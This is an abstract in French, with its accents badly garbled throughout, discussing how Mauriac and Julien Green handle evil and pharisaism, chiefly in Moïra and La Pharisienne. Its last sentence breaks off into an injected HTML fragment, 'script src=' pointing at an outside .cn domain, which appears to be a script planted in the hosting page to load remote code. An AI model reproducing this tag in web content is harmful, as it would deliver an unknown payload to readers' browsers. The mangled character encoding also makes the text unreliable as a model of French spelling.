L`originalite´ de la litte´rature dans ce sie｀cle a e´te´, d`apre｀s Albe´re｀s, de ne pas voiler le mal sous le masque de la morale, de retrouver la croyance en Satan, autrefois perdue dans la facilite´. L`univers de la litte´rature chre´tienne conc¿ue comme l`expression de la croyance en Satan a cause´ un conflit a｀ des romanciers appele´s `catholiques`, surtout a｀ Mauriac et Green. De me＾me que Gide insistent qu`il n`est pas d`oeuvre d`art ou｀ n`entre la collaboration du de´mon, Mauriac avoue que sa pre´occupation essentielle est le proble｀me du mal et qu`il est impossible d`exorciser le roman, d`en chasser le diable. Et Green aussi reconnai＾t comme vrai que le mal est un e´le´ment essentiel puisque toute son oeuvre vient directement du conflit entre le bien et le mal. Les raisons du conflit entre leur croyance et leur univers romanesque se diffe｀rent pour chacun. Pour Green qui conside｀re la litte´rature comme un plan infe´rieur a｀ celui de son aventure spirituelle, et pour qui la raison d`e＾tre n`est que la de´couverte de Dieu en nous, ce conflit est ne´ uniquement de l`inquie´tude pour son salut chre´tien. Pour Mauriac, angoisse´ aussi de la me＾me inquie´tude, il y a une autre raison qui est de se justifier contre la reproche porte´e a｀ l`amoralisme de ses personnages en tant que chre´tien qui de´ployait une grande influence actuelle. Ce conflit s`aggrave par leur concept de l`univers romanesque qui se re´sume pour eux en personnages. Avec un peu de re´serves, Mauriac reconnai＾t qu`il y a la complice et l`identification entre le romancier et ses personnages. Mais Green insiste sur cette relation d`une identification absolue. Dens Moi¨ra que l`on peut conside´rer pour son premier roman d`ordre autobiographique, Joseph, d`un a＾ge de 20 ans, obse´de´ a｀ la fois de la religion et de la sexualite´, trouve le mal dans l`instinct sexuel. Pourtant dans le refus de ce mal, il se trouve dans un autre mal, la prise de conscience d`e＾tre juste et e´lu, ce que l`auteur de 50 ans conside｀re comme un mal encore pire, parce que celui-ci e´loigne davantage l`homme de l`humanite et de Dieu. Dans la Pharisienne, Brigitte trouve aussi le mal dans tout ce qui touche a｀ la sensualite´ ou a｀ la sexualite´. Pourtant l`auteur de´voile avec le narrateur, a｀ travers l`attitude de Brigitte refusant ce mal, le pharisai¨sme comme un vrai mal de ce roman. La peinture du pharisai¨sme est biennuance´e et ambigue par les caracte｀res des personnages et la technique narrative. Le narrateur Louis, romancier d`un a＾ge mu＾r raconte la re´action de Brigitte a｀ deux aventures d`amour auxquelles l`acteur Louis, garc¿on de 13 ans s`est me＾le´ partiellement en les de´nonc¿ant sournoisement. Louis narrateur, en se reme´morant l`attitude de Brigitte et la suite de ces aventures ou｀ Louis acteur, petit pharisien, a joue´ un ro＾le du complice de Brigitte, y voit dans celle-ci l`expression de son propre mal, pharisaisme. Par conse´quent, dans l`attitude du narrateur Louis, on peut voir non seulement la de´nonce de ce mal, mais aussi le de´sir dejustifier Brigitte. Nous pouvons voir cette relation entre le narrateur et Brigitte se re´pe´ter par celle entre le romancier et le narrateur Louis. De cela la nuance et l`ambigui¨te´ s`accentent. Comme Monfe´rier l`a indique´, pour qu`il y ait le pharisai¨sme, il faut que la conscience ait refoule´ au fond d`elle me＾me les pre´ceptes e´vange´liques pour les restituer modele´s et travestis par une intelligence solide mais pervertie. Cette `intelligence solide mais pervertie´, garantie d`abord par les caracte｀res des personnages et la technique narrative, est te´moigne´e par la logique paradoxale quo Brigitte introduit sournoisement pour se justifier. Et `les preceptes e´vange´liques modele´s et travestis` se de´ploient en toutes les gammes, du sentiment de laperse´cute´e jusqu`a｀ la certitude d`e＾tre juste et e´lue d`ou?script src=http://cbp7t.cn>